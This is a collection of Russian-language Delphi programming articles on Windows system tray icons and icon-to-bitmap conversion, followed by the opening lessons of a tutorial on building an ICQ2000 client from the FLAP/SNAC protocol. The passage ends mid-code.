Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYICONDATA, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID.

Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?

При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом:

(UINT)wParam содержит ID иконки, над которой произошло событие (UINT)lParam содержит стандартное событие мыши, такое как WM_MOUSEMOVE или WM_LBUTTONDOWN.

При этом, информация о клавишах смены регистра, так же как и местоположения события, передаваемые при стандартных "настоящих" сообщениях мыши, теряются.

Но положение курсора можно узнать функцией GetCursorPos(), а состояние клавиш смены регистра - функцией GetKeyState(), описанных в winuser.h.

Многие программы показывают Pop-Up меню при щелчке на их иконке, помещенной на Tray, как этого добиться?

Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно для Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и выполнить следующий код:

SetForegroundWindow(hWnd);
TrackPopupMenuEx(hMenu, TPM_HORIZONTAL | TPM_LEFTALIGN, x, y, hWnd, NULL);
DestroyMenu(hMenu);
PostMessage(hWnd, WM_USER, 0, 0);

Где:

hWnd дескриптор окна, которое будет обрабатывать команду меню, hMenu дескриптор меню, x и y - позиция курсора.

Для подробностей смотрите Win32 SDK Help по функции TrackPopupMenuEx.

Многие программы минимизируясь, оказываются на Tray, как это сделать?

На самом деле, не "программа оказывается на Tray", а только иконка помещается на Tray, а главное окно программы скрывается. Для достижения такого результата вам надо обрабатывать сообщение WM_SIZE, и при значении wParam, равном SIZE_MINIMIZED вы должны выполнить примерно следующую последовательность действий: добавить иконку на Tray и скрыть окно - вызвать ShowIndow(hWnd, SW_HIDE).

Когда произойдет действие, которое должго активировать вашу программу - WM_LBUTTONDBLCLK или WM_LBUTTONDOWN (или то, что нравится вам), вы должны удалить иконку и вызвать ShowWindow(hWnd,SW_SHOW) или ShowWindow(hWnd,SW_SHOWMAXIMIZED).

Всегда ли все вышесказанное будет работать?

Нет ! Все вышенаписанное работает только при использовании в операционных системах Windows 95 и Windows NT 4.0 оболочки Explorer, и при разрешенном System Tray. В случае, если не происходит запуска systray.exe (запускаетс автоматически Ехрlоrеr'ом при старте) или используется другая оболочка (DashBoard, Program Manager, File Manager), функция Shell_NotifyIcon() будет возвращать при вызове FALSE и не выполнять ни каких действий.

Еще раз повторю: System Tray - это возможность оболочки, а не операционной системы !

А есть ли официальная информация по System Tray?

Да, есть. Есть маленький пример в Win32 SDK: SDKRoot\Samples\Win32\Win95\TrayNot\*.* Ну и конечно описание в документации функции Shell_NotifyIcon() и структуры NOTIFYICONDATA.

Так же можно посмотреть Microsoft Knowledge Base:

PSS ID Number: Q128129 PSS ID Number: Q134237 PSS ID Number: Q139408

Как сделать пункт "по умолчанию" в Pop-Up меню выделенным?

Вообще-то, это вопрос не относящийся к System Tray, а относящийся к меню. Но можно ответить и на него.

Устанавливается пункт "по умолчанию" в любом меню функцией API SetMenuDefaultItem(HMENU hMenu, UINT uItem, UINT fByPos), подробности - в Win32 SDK документации. Пункт "По умолчанию" не влияет на работу меню - это чисто интерфейсное выделение пункта меню полужирным (bold) шрифтом.

Как поместить иконку в Tray.

Автор: Nomadic.

function TaskBarAddIcon(hWindow: THandle; ID: Cardinal;
  ICON: hicon; CallbackMessage: Cardinal; Tip: string): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
    uCallbackMessage := CallbackMessage;
    hIcon := Icon;
    if Length(Tip) > 63 then
      SetLength(Tip, 63);
    StrPCopy(szTip, Tip);
  end;
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;

Как создать BMP из ICO.

Статьи по Delphi (009)…
procedure TForm1.Button1Click(Sender: TObject);
var
  TheIcon: TIcon;
  TheBitmap: TBitmap;
begin
  TheIcon := TIcon.Create;
  TheIcon.LoadFromFile('C:\Program Files\Borland\IcoCur32\EARTH.ICO');
  TheBitmap := TBitmap.Create;
  TheBitmap.Height := TheIcon.Height;
  TheBitmap.Width := TheIcon.Width;
  TheBitmap.Canvas.Draw(0, 0, TheIcon);
  Form1.Canvas.Draw(10, 10, TheBitmap);
  TheBitmap.Free;
  TheIcon.Free;
end;

Как создать BMP из ICO 2.

Способ преобразования изображения размером 32x32 в иконку.

unit main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Image1: TImage;
    Image2: TImage;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  winDC, srcdc, destdc: HDC;
  oldBitmap: HBitmap;
  iinfo: TICONINFO;
begin
  GetIconInfo(Image1.Picture.Icon.Handle, iinfo);
  WinDC := getDC(handle);
  srcDC := CreateCompatibleDC(WinDC);
  destDC := CreateCompatibleDC(WinDC);
  oldBitmap := SelectObject(destDC, iinfo.hbmColor);
  oldBitmap := SelectObject(srcDC, iinfo.hbmMask);
  BitBlt(destdc, 0, 0, Image1.picture.icon.width,
    Image1.picture.icon.height,
    srcdc, 0, 0, SRCPAINT);
  Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
  DeleteDC(destDC);
  DeleteDC(srcDC);
  DeleteDC(WinDC);
  image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
    + 'myfile.bmp');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  image1.picture.icon.loadfromfile('c:\myicon.ico');
end;
end.

Как создать BMP из ICO 3.

Чтобы преобразовать Icon в Bitmap используйте TImageList. для обратного преобразования замените метод AddIcon на Add, и метод GetBitmap на GetIcon.

function Icon2Bitmap(Icon: TIcon): TBitmap;
begin
  with TImageList.Create (nil) do
  begin
    AddIcon (Icon);
    Result := TBitmap.Create;
    GetBitmap (0, Result);
    Free;
  end;
end;

Как создать BMP из ICO 4.

procedure TIconShow.FileListBox1Click(Sender: TObject);
var
  MyIcon: TIcon;
  MyBitMap: TBitmap;
begin
  MyIcon := TIcon.Create;
  MyBitMap := TBitmap.Create;
  try
    { получаем имя файла и связанную с ним иконку}
    strFileName := FileListBox1.Items[FileListBox1.ItemIndex];
    StrPCopy(cStrFileName, strFileName);
    MyIcon.Handle := ExtractIcon(hInstance, cStrFileName, 0);
    { рисуем иконку на bitmap в speedbutton }
    SpeedButton1.Glyph := MyBitMap;
    SpeedButton1.Glyph.Width := MyIcon.Width;
    SpeedButton1.Glyph.Height := MyIcon.Height;
    SpeedButton1.Glyph.Canvas.Draw(0, 0, MyIcon);
    SpeedButton1.Hint := strFileName;
  finally
    MyIcon.Free;
    MyBitMap.Free;
  end;
end;

Преобразование иконок в Gliph-ы.

Вот небольшой пример того, как можно загрузить иконку, содержащуюся в файле EXE, в Glyph у SpeedButton, и как очистить этот самый Glyph.

Огорчен, но комментарии в исходном коде на испанском языке.

unit Procs;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, StdCtrls, Buttons, ExtCtrls, ShellAPI;
procedure LlenaBoton(boton: TSpeedButton; Programa: string);
procedure LimpiaBoton(boton: TSpeedButton);
var
  {Botones de programas}
  Pic: TPicture;
  Fname: string;
  TempFile: array[0..255] of Char;
  Icon: TIcon;
implementation
uses ttotro;
procedure LlenaBoton(boton: TSpeedButton; Programa: string);
var
  NumFiles, NameLength: integer;
  nIconsInFile: word;
  rBoton: TRect;
  oBitmap: TBitmap;
  oBitmap2: TBitmap;
  NombreBitmap: string;
begin
  try
    screen.cursor := crHourglass;
    {Extrae el Icono}
    Icon := TIcon.Create;
    StrPCopy(TempFile, Programa);
    Icon.Handle := ExtractIcon(HInstance, TempFile, 0);
    {Crea una instancia de TPicture}
    Pic := TPicture.Create;
    {Asigna el icon.handle a la propiedad Pic.icon}
    Pic.Icon := Icon;
    {Configura el tamano del bitmap como el del icono y el del segundo
    bitmap con el tamano del boton}
    oBitmap := TBitMap.create;
    oBitmap2 := TBitMap.create;
    oBitmap2.Width := Icon.Width;
    oBitmap2.Height := Icon.Height;
    oBitmap.Width := boton.Width - 4;
    oBitmap.Height := boton.Height - 4;
    { Dibuja el icono en el bitmap }
    oBitmap2.Canvas.Draw(0, 0, Pic.Graphic);
    rBoton.left := 1;
    rBoton.Top := 1;
    rBoton.right := boton.Width - 6;
    rBoton.Bottom := boton.Height - 6;
    oBitmap.Canvas.StretchDraw(rBoton, oBitmap2);
    Boton.Hint := Programa;
    NombreBitmap := Copy(programa, 1, Length(programa) - 3) + 'BMP';
    {Salva el bitmap en un fichero}
    if not FileExists(NombreBitmap) then
    begin
      oBitmap.SaveToFile(ExtractFilePath(Application.ExeName) +
        ExtractFileName(NombreBitmap));
      Boton.Glyph := oBitmap;
    end
    else
      {Carga el BMP en el boton}
      Boton.Glyph.LoadFromFile(ExtractFilePath(Application.ExeName) +
        ExtractFileName(NombreBitmap));
  finally
    Icon.Free;
    oBitmap.Free;
    oBitmap2.Free;
    screen.cursor := crDefault;
  end; {main begin}
end; {llenaboton}
procedure LimpiaBoton(boton: TSpeedButton);
var
  oBitmap: TBitmap;
  rBoton: TRect;
begin
  try
    {Configuara el tamano del bitmap como el del icono y el del segundo
    bitmap con el tamano del boton}
    oBitmap := TBitMap.create;
    oBitmap.Width := boton.Width - 4;
    oBitmap.Height := boton.Height - 4;
    Boton.Glyph := oBitmap;
  finally
    oBitmap.Free;
  end; {main begin}
end; {limpiaboton}
end.

Как поместить иконку в окошко подсказки.

Статьи по Delphi (009)…

Чтобы увидеть это в действии, всё, что надо сделать, это поместить этот юнит в список USES Вашего приложения.

unit HintX;
interface
uses
  Windows, Messages, Controls;
type
  TIconHintX = class(THintWindow)
  protected
    procedure Paint; override;
  public
    function CalcHintRect(MaxWidth: Integer; const AHint: string;
    AData: Pointer): TRect; override;
end;
implementation
uses Forms;
{ TIconHintX }
{-Вычисляем новый размер окошка подсказки
для помещения в него иконки:-}
function TIconHintX.CalcHintRect(MaxWidth: Integer;
const AHint: string; AData: Pointer): TRect;
begin
  Result := inherited CalcHintRect(MaxWidth, AHint, AData);
  Result.Right := (Length(AHint) * 5) + Application.Icon.Width;
  Result.Bottom := (Application.Icon.Height) * 2;
end;
procedure TIconHintX.Paint;
const
  MARGIN = 5;
begin
  inherited;
  Canvas.Draw(MARGIN, MARGIN * 5, Application.Icon);
  //рисуем рамку окошка подсказки
  SendMessage(Handle, WM_NCPAINT, 0, 0);
end;
initialization
  //связываем наш новый класс с классом окошка
  //подсказки установленным поумолчанию:
  HintWindowClass := TIconHintX;
end.

Как поместить иконку в TrayBar.

Статьи по Delphi (009)…

Для добавления иконки нужно сперва подключить модуль ShellAPI в раздел uses, а затем написать следующий код по нажатию на кнопку:

procedure TForm1.Button1Click(Sender: TObject);
var
  no: TNotifyIconData;
  Hicon1: HIcon;
begin
  //Помещение иконки в Tray Bar
  HIcon1:=ExtractIcon(Handle,'i:\arw01lt.ico',0);
  with no do
  begin
    cbSize:=Sizeof(TNotifyIconData);
    Wnd:=Handle;
    uID:=0;
    UFlags:=NIF_MESSAGE+NIF_ICON+NIF_TIP;
    SzTip:='Traybar Tip';
    HIcon:=HIcon1;
    //Определяемое пользователем сообщение
    uCallBackMessage:=WM_USER+0;
  end;
  Shell_NotifyIcon(NIM_ADD,@no);
end;

Для того, чтобы удалить иконку обработайте нажатие второй кнопки:

procedure TForm1.Button2Click(Sender: TObject);
var
  no: TNotifyIconData;
begin
  //Удаление иконки
  with no do
  begin
    cbSize:=Sizeof(TNotifyIconData);
    Wnd:=Handle;
    uID:=0;
  end;
  Shell_NotifyIcon(NIM_Delete,@no);
end;

Для добавления, удаления или редактирования иконок на TrayBar'e используем специальную API функцию - Shell_NotifyIcon. Как вы уже прочитали для того, чтобы ею воспользоваться, нужно сначала подключить модуль ShellAPI в разделе uses. В качестве параметров функции нужно указать две вещи.

Сначала сообщение, которое мы посылаем, определяющее необходимое действие над иконкой. Этот параметр может принимать одно из следующих значений: NIM_ADD - добавляет иконку в область TrayBar'a NIM_DELETE - соответственно, удаляет NIM_MODIFY - если задать это значение, можно будет модифицировать иконку В качестве второго параметра передаётся структура NOTIFYICONDATA, которая содержит сведения об иконке. Эта структура обладает следующими полями: cbSize - это размер структуры в байтах hWnd - дескриптор окна, которое будет получать сообщения ассоциированные с иконкой на TrayBar'e uID - идентификатор иконки на TrayBar'e uFlags - массив флагов, значение этого поля может комбинироваться из следующих констант: NIF_ICON - элемент структуры hIcon будет задействован NIF_MESSAGE - элемент структуры uCallbackMessage будет задействован NIF_TIP - - элемент структуры szTip будет задействован uCallbackMessage - идентификатор сообщения. Система использует этот идентификатор, когда сообщение посылается окну, обозначенному в поле hWnd. Это сообщение посылается, когда происходит событие мыши над областью иконки. hIcon - дескриптор задаваемой иконки szTip - всплывающая подсказка, появляющаяся над областью иконки

ICQ2000 сделай сам 1.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Одна женщина другой: - У моего сына столько девушек!!! Только и слышу, то он с Клавой трахается, то с Аськой! И когда только успевает, ведь все время за компьютером!

Урок №1

Прежде чем приступить к изложению своего небольшого проектика ... скажу сразу…. написан он на Делфи. Кто огорчится , кто обрадуется. Для кого языковой барьер не помеха, а для кого непреодолимое препятствие. Лично я постигал все перелести протоколов ICQ на кодах написанных на С++. Главное - видеть "главное". А мне нравится Делфи. На нем отправить пакет данных в интернет наверное проще, чем записать его в обычный файл.

Самые общие сведения о протоколахм ICQ

Существует около десятка версий ICQ-клиентов. И у каждого - своя версия протокола. Но не смотря на это, их всего два. Есть ICQ, работа, которых с сервером основана на протоколе UDP, и есть ICQ общающиеся с сервером по протоколу TCP. Немного подробнее:

ICQ на протоколе UDP С нее, собственно, и начиналась история ICQ. Это были версии протоколов 1,2,3,4 и 5. Это были аськи ICQ97, ICQ98, ICQ99. Т.к. использован протокол UDP, то постоянного соединения клиент-сервер не существует. Пакет передал. Получил подтверждение, и баста. Не получил подтверждение - передай повторно. Но об этих протоколах уже можно (и нужно) забыть. Они поддерживаются сервером весьма неохотно, потому, что в какой-то момент компания Mirabilis растворилась в компании America OnLine (AOL). После этого ICQ начала работать на протоколе AOL Instant Messenger (AIM). Это и есть вторая группа протоколов ICQ. ICQ на протоколе TCP Это версии протоколов 7,8. А может уже и 9,10,11 и т.д. По сути дела в ICQ20xx используется протокол от AOL Inastant Messenger. И по этому признаку эти два продукта - родные братья. Хоть я и спользовал информацию по прортоколу v8 (ICQ2000b) но рассматривать буду протокол v7 (ICQ2000a). Потому, что эта версия у меня была установлена и именно ее пакеты я использовал для анализа и отладки своего детища. Это различие не имело ровным счетом никакого значения.

Но, как говорится: "ближе к телу". Вы вправе задать вопрос: "Как же это все будет выглядеть?" Это выглядит примерно так.

Статьи по Delphi (009)…

Сами понимаете, что номера ICQ и имена клиентов - полностью вымышленные. Любые совпадения с реальными людьми - чистая случайность. Конечно же, изображения принадлежат своим уважаемым владельцам, поэтому дальше их и не будет.

Как видно на скриншоте, это не просто аська, а - мультиаська! Т.е. можно находиться в онлайне сразу под несколькими UIN-ами одновременно. Иногда это бывает полезно и даже необходимо. В интернете есть конечно примочки для одновременного запуска нескольких копий ICQ, но ничто так не умиляет, как сделанное своими руками. И все же для понимания работы протокола - это излишество, поэтому я оставил только самое необходимое.

Думаю, что не стоит в самом начале нагружать разными сводными таблицами с описанием пакетов протокола. Я буду делать это по мере необходимости. Тем более, что из всего их множества, поначалу не все они будут и нужны.

Для работы вам потребуются только стандартные компоненты Делфи-5. Нет нужды устанавливать какие-то вспомогательные библиотеки или пакеты.

С помощью моего ICQ-клиента можно:

логиниться к серверу; отображать состояние клиентов; передавать и принимать сообщения; регистрировать (register) новый UIN на сервере; удалять (unregister) UIN с сервера; просматривать и обновлять информацию о клиентах из контактного списка; производить поиск клиентов по имени, по e-mail, по UIN-у; включать найденных клиентов в контактный список; вести журнал сообщений и пакетов.

Но изначально приложение будет иметь самую минимальную функциональность. UIN и пароль у вас уже должны быть. Будем логиниться на сервере, менять свой статус, принимать сообщения. Весь TCP-трафик идет только через сервер. Так проще и этот способ в комбинации с некоторыми другими параметрами позволит скрыть ваш IP-адрес от любопытных глаз. Наверное, поэтому я не рассматриваю прямые соединения между клиентами. Разумеется, что будем рассматривать протокол v7. На нем работает ICQ2000a.

Итак, приступим...

Все пакеты данных (и от клиента к серверу, и от сервера к клиенту) упаковываются в т.н. FLAP-протокол. Он находится в самом низу иерархии. Ниже показана структура FLAP-пакета:

FLAP
Command Start byte: $2A
Channel ID byte
Sequence Number word
Data Field Length word
Data variable

Каждый FLAP-пакет имеет заголовок c фиксированной длиной и, следующий за ним блок данных (переменной длины). Длина заголовка равна 6-и байтам.

FLAP-заголовок содержит такие поля:

Однобайтовый идентификатор начала пакета (Command Start). Его значение всегда равно $2A. С ним можно сверяться при приеме пакетов. Идентификатор канала (Channel ID). Он может принимать четыре значения: 1 - канал установления соединения; 2 - канал обмена данными (основная фаза работы: какие-либо полезные данные передаются только в этой фазе); 3 - канал ошибок. (на практике мне не попадался :); 4 - канал разъединения. (это проще, чем написано). На 99.9% времени протокол работает в канале 2. Последовательный номер пакета (Sequence Number). В начале обмена данными это поле устанавливается случайным образом, а затем увеличивается на единицу при передаче каждого последующего пакета. Обычно такие поля используются для обеспечения целостности данных (например, когда используется UDP-протокол). Но в нашем случае используется TCP-соединение и этого вполне достаточно для обеспечения целостности передаваемых пакетов. Просто нужно следовать правилу формирования этого поля при передаче пакетов и можно забыть о нем. (На приеме я его никак не контролировал). Длина блока данных (Data Field Length). Указывает на длину блока данных, который следует сразу же за заголовком. Это очень важное поле. Зная его, мы знаем сколько данных нужно прочитать из входного потока. Ошибись мы хоть на один байт и синхронизация потока будет нарушена.

Блок данных FLAP-пакета. Его длина указана в FLAP-заголовке. В нем находится вся полезная информация для обмена ICQ-клиента и сервера.

При приеме (обработке) FLAP-пакетов очень важно не потерять синхронизацию пакетов ( что просто недопустимо ). Нужно всегда читать 6-и байтовый залоговок, а далее считывать только, то количество данных, которое указано в заголовке. При соблюдении этого правила можно быть уверенным, что прочитанный блок данных будет содержать достоверную информацию. Потеря данных неприемлема в AIM стандарте. Все это на самом деле не трудно обеспечить.

Труднее разобраться в структуре самого блока данных. А напичкан он весьма разнообразными структурными единицами. Видать оччень много народу постаралось для этого. Впечатление такое, что взяли и скрестили старые версии v2 - v5 ICQ-протокола с самим AIM-протоколом. Это вам еще предстоит увидеть. Вот например, для представления обычных текстовых строк , использовано 3 или 4 различных варианта. Представляете себе строку в формате C++ или в формате Pascal, с нулем в конце или без него, с однобайтовой длиной или двубайтовой, а порядок следования байтов в слове? Черт ногу сломает. А может это специально сделано? Мне кажется, что впопыхах!!!

Попробуем разобраться.

ICQ2000 сделай сам 10.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Одиночество - это когда контакт лист icq грохнулся.

Урок №3

Запрос информации о клиенте,

Поиск клиентов по различным критериям и др.

Итак... Передавать и принимать сообщения уже умеем. На очереди - получение информации о клиентах, которые находятся в списке контактов; а также поиск новых клиентов по различным критериям. Такие запросы к серверу посылаются с помощью все тех же SNAC(15,2). Вспомните, как производится запрос оффлайновых сообщений.

Точно также SNAC(15,2) с типом запроса равным D007 применяется:

при всех операциях с Инфо клиентов ( и получение, и обновление своего); при поиске клиентов по имени, по UINу, по E-mаi1у; при изменении пароля; при удалении UINа из реестра ICQ; при многих других операциях.

Каждая из перечисленных операций определяется подтипом запроса. Приведу обобщенную таблицу SNAC(15,2) для некоторых запросов:

FLAP SNAC (15, 02) TLV (1)
Command Start 2A
Channel ID 02
Sequence Number XX XX
Data Field Length XX XX
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 XX 00 02 (по ним можно опознать ответ)
Type 00 01
Length XX XX
Value Length-2 (и что оно тут делает ?)
XX XX XX XX наш UIN
D0 07 тип запроса
XX 00 cookie (по нему можно/нужно опознавать ответ)
B2 04 подтип запроса (B204 - запрос инфо клиента)
Это переменная часть зпроса. Она определяется подтипом запроса. Например: При запросе инфо клиента (B2 04) или при поиске клиента по UINу (1F05) здесь следует разместить запрашиваемый UIN. При поиске клиента по E-mail (2905) здесь будет помещена строка с искомым адресом. При поиске по NickName, FirstName, LastName (1505) сюда помещаются соответственно три стоки. При смене пароля (2E04) здесь будет лишь строка с паролем, а наш UIN сервер и так знает.

Теперь к Delphi-проекту добавлены еще два модуля: UInfo и SUser (User Info & Search User).

Очередные исходники 3-его урока здесь. Т.к. все рассмотренные више запросы практически однотипные, то приведу комментарии только к одному из них. Это будет поиск по NickName, FirstName, LastName:

unit SUser;

procedure TSearchUser.META_Search_User(NN,FN,LN : string);
var p : PPack;
    // промежуточный массив.
    // в нем накапливаются данные TLV(1)
    b : TByteArray;
    i : integer;
begin
     if (NN='')and(FN='')and(LN='') then exit;
     EndOfSearch := false;
     // word(b[0]) - тут будет ненужная длина
     // (но ее надо потом корректно заполнить)
     // а пока переходим к 3-у елементу
     i:=2;
     // вписываем UIN (только СВОЙ - укажем явно,что из модуля Main.pas)
     PLONG(@(b[i]))^ := main.UIN;    inc(i,4);
     // ТИП запроса
     PWORD(@(b[i]))^ := swap($D007);   inc(i,2);
     // придумаем себе COOKIE
     // (можно и по-проще, но в настоящей аське
     // COOKIE имеет такой вид XX00)
     Cookie := random($FF) shl 8;
     PWORD(@(b[i]))^ := swap(Cookie); inc(i,2);
     // ПОДТИП запроса
     PWORD(@(b[i]))^ := swap($1505);   inc(i,2);
     // добавляем три текстовые строки (First, Last, Nick)
     // у AOL новый тип строк наверное :)
     // впереди - длина строки, а в конце #0
     // (что-то одно из них убрали бы)
     // длина строки
     PWORD(@(b[i]))^ := length(FN)+1;  inc(i,2);
     // сама строка FirstName
     MOVE(FN[1],b[i],length(FN));     inc(i,Length(FN));
     // завершающий #0
     PBYTE(@(b[i]))^ := 0;             inc(i,1);
     // LastName
     PWORD(@(b[i]))^ := length(LN)+1;  inc(i,2);
     MOVE(LN[1],b[i],length(LN));     inc(i,Length(LN));
     PBYTE(@(b[i]))^ := 0;             inc(i,1);
     // NickName
     PWORD(@(b[i]))^ := length(NN)+1;  inc(i,2);
     MOVE(NN[1],b[i],length(NN));     inc(i,Length(NN));
     PBYTE(@(b[i]))^ := 0;             inc(i,1);
     // дозаполним "ненужную" длину в начале массива
     PWORD(@(b[0]))^ := i-2;
     // создаем FLAP-пакет
     P:=CreatePacket(2,SEQ);
     // добавляем SNAC(15,2)
     SNACAppend(p,$15,$2);
     // добавляем TLV(1) с данными из промежуточного массива
     TLVAppend(p,1,i,@b);
     // шлем запрос
     Form1.PacketSend(p);
     // пишем в Memo
     M(Form1.Memo,'> Search Detail: Nick:'+NN+
                               '   First:'+FN+
                                '   Last:'+LN+'   '+
                                 'Cookie:$'+inttohex(Cookie,4));
end;

Запросы других подтипов передаются аналогично. С небольшими вариациями. Оновременно можем передавать на сервер много запросов. Сервер разберется. Ведь в каждом нашем запросе есть уникальное(ый) Cookie (а также и RequestID в SNAC-заголовке). Сервер пометит свои пакеты-ответы этими же опознавательными знаками.

Я лично делаю проверку(сверку) только по Cookie. Выдавая запрос, запоминаю Cookie. А когда приходит ответ от сервера, то процедура-обработчик SNAC_15_3 просто использует WinAPI функцию PostMessage для передачи ответа окну, которое выдало запрос. В параметрах PostMessage указан Cookie из ответа сервера. Какое окно его опознает - значит тому окну и предназначен ответ.

Работа процедуры-обработчика SNAC_15_3 уже ранее рассматривалась. Сейчас она просто дополнена новыми блоками, обрабатывающими новые ответы сервера. Следует упомянуть, что на один (единственный) наш запрос сервер присылает сразу целый массив из SNAC-ответов. Это типичная ситуация.

Например: запрашиваем Инфо о клиенте SNAC(15,2) [подтип запроса B204].

В ответ получим сразу восемь SNAC-ответов.

Вот их краткие названия-описания:

main-home-info homepage-more-info more-email-info additional-info work-info about personal-interests past-background

Все полученные данные теперь сохраняются в файле .dat.

ICQ2000 сделай сам 2.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Из диалога в аське: - Котенка кому? Качественный. Почти не юзаный, 2 месяца всего. Укомплектованный. Есть шерсть (веселенькой черно-белой окраски), лапы (4шт), усы (несчитанно) и урчальник (встроенный). Сабж обладает функцией мочеиспускания в туалет, лежания на телевизоре свесив хвост на экран и неуемной жизнерадостностью. Функция питания отлажена просто на диво: с удовольствием жрет даже хлеб и макароны. И все это счастье я отдаю просто так, для хороших людей не жалко! - Брандовый? Глюков нет? Апгрейдится? Манибек? Гарантия? Мышь опознает?

Делфи-проект nICQ в начале будет состоять из 3-х модулей: Types, Packet, Main.

В модуле Types находятся константы и объявлены некоторые записи. В модуле Packet - процедуры и функции для записи/чтения FLAP-пакетов.(Большинство процедур из этого модуля просто адаптированы из других проектов ICQ). Название модуля Main говорит само за себя.

Исходные коды проекта находятся здесь.

До того, как начать тестирование, вам следует ввести свой UIN, password, NickName. Внесите эти данные в файл nICQ.ini:

[User]
Uin=199222333
Nick=My Nick
Password=mypass

... и можно запускать. Список контактов нам пока не нужен. Он появится позже. А сейчас будет вполне достаточно, если список контактов будет состоять только из вашего собственного UINа. Жмем на единственную кнопку, а в отладочном окне будет отображаться протокол работы. При выборе одного из пунктов Popup-меню, вызывается процедура icq_Login. Что в ней? Смотрим:

procedure TForm1.icq_Login(Status : longint); begin // определяем свой IP-адрес Local_IP := Get_my_IP; // преобразуем его в DIM_IP StrToIP(Local_IP,DIM_IP); // Запоминаем, какой будет наш статус ICQStatus := Status; // если ClientSocket открыт, то закроем его if CLI.Active then CLI.Close; // установим флажок isAuth, // это значит, что сначала мы коннектимся к серверу // авторизации. UIN и пароль передаются именно ему. isAuth := true; // устанавливаем флажок isHDR, // он говорит нам о том, что, самые первые данные , // из ClientSocket следует интерпретировать как // FLAP-заголовок isHDR := true; // заполняем поля Host и Port в ClintSocket, // адрес сервера авторизации: 'login.icq.com' // и его порт: 5190 CLI.Address :=''; CLI.Host := 'login.icq.com'; CLI.Port := 5190; // не забываем и про TMemo M(Memo,'>>>>>>>>>> login.icq.com:5190 <<<<<<<<<<<'); <font color="#000080"><em>// ... и собственно CONNECT</em></font> CLI.Open; <strong>end</strong>; </pre> </td></tr></table><br> <p> (А вот и подходящий момент, чтобы вспомнить о вашем подключении к интернету. Проблемы с получением CONNECTa могут возникнуть, если вы выходите в интернет из LAN через PROXY-сервер. Все зависит от того, как он настроен. Если он предоставляет выход в интернет только для основных сервисов (http,ftp,smtp,pop), то тут уж извините. А если на нем присутствует нормальный маскарадинг, то все будет OK). </p> <p> Итак, что же дальше..? Желанный CONNECT должен наступить немного раньше конца света :) Мы подсоединились к серверу авторизации и он первым выдаст нам пакет данных. Что делать? Как принять? Куда его засунуть? Об этом мой расказ на следующей странице. </p> <p> Переворачивайте... </p> <!-- end -->

ICQ2000 сделай сам 3.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Разговор по аське: - Что замолчал? - Пальцы устали.

Итак, рассмотрим механизм приема FLAP-пакетов. Прием пакетов - это обработчик события onReadData нашего ClientSocket. Задача этого обработчика сводится только к приему FLAP-пакетов и формировании из них связного списка типа FIFO (первым пришел, первым и ушел). Главное корректно отработать границы пакетов.

Каждый пакет принимается в два захода:

сначала принимаем только заголовок FLAP-пакета (всего 6 байт); затем, узнав из заголовка длину блока данных, принимаем последний (ни байтом больше, ни байтом меньше).

Приняв полный пакет, формируем из него элемент списка FIFO и присоединяем его к списку. Смотрим, как это сделано у меня. Для прима заголовка и блока данных FLAP-пакета объявлены два массива: FLAP и FLAP_DATA соответственно.

procedure TForm1.CLI_ReadData(Sender:TObject; Socket:TCustomWinSocket);
var num,Bytes,fact : integer;
    pFIFO,CurrFIFO : PFLAP_Item;
    buf : array[0..100] of byte;
begin
// узнаем, сколько всего данных уже есть в буфере ClientSocketa
     num := Socket.ReceiveLength;
// в icq_Login мы установили isHdr, т.к. сначала ожидаем заголовок
     if isHDR then begin
// если есть как минимум 6 байт, то читаем 6 байт заголовка в FLAP
       if num>=6 then begin
         Socket.ReceiveBuf(FLAP,6);
// из заголовка узнаем длину блока данных FLAP-пакета
         NeedBytes := swap(FLAP.Len);
// сбрасываем в начало индекс массива FLAP_DATA
         index := 0;
// сбпасываем, чтобы следующее чтение было в FLAP_DATA
// и выходим из обработчика
       isHDR := false;
       end else begin
             // вообще-то ситуация, когда в Sockete меньше 6-и байт
             // пока никак не контролируется (возникает очень редко :)
             // отмечаю этот факт только в окне отладки 
             M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
             Socket.ReceiveBuf(buf,num);
             M(Memo,Dim2Hex(@(buf),num));
             M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
           end;
// if not isHDR then чтение в FLAP_DATA
end else begin  
